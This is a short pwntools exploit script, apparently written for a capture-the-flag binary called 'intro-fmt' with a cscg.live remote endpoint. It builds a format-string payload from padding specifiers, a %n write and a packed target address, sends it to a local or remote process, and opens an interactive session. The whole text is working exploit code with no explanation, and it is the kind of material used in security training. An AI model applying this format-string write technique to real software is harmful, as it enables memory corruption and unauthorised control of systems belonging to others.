from pwn import * # Set the context for the binary context.binary = './intro-fmt' # Replace with your binary's name # Choose local or remote LOCAL = True # Change to False if connecting remotely if LOCAL: p = process(context.binary.path) else: p = remote("75143f5062f22bfeb9302387-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience def send_payload(payload): p.sendline(payload) def recv_until(delim): return p.recvuntil(delim) def interact(): p.interactive() bug_addr = 0x40406c # Example interaction recv_until(b'What is your name?') format_string = b"" format_string += b"%0.0s" * 5 format_string += b"%0.0s" * 10 format_string += b"%n" format_string += b"\n" * (8 - (len(format_string) % 8)) print(len(format_string) / 8) format_string += p64(bug_addr) print(format_string) print("enter if gdb attached") input() send_payload(format_string) interact() # Keep the shell open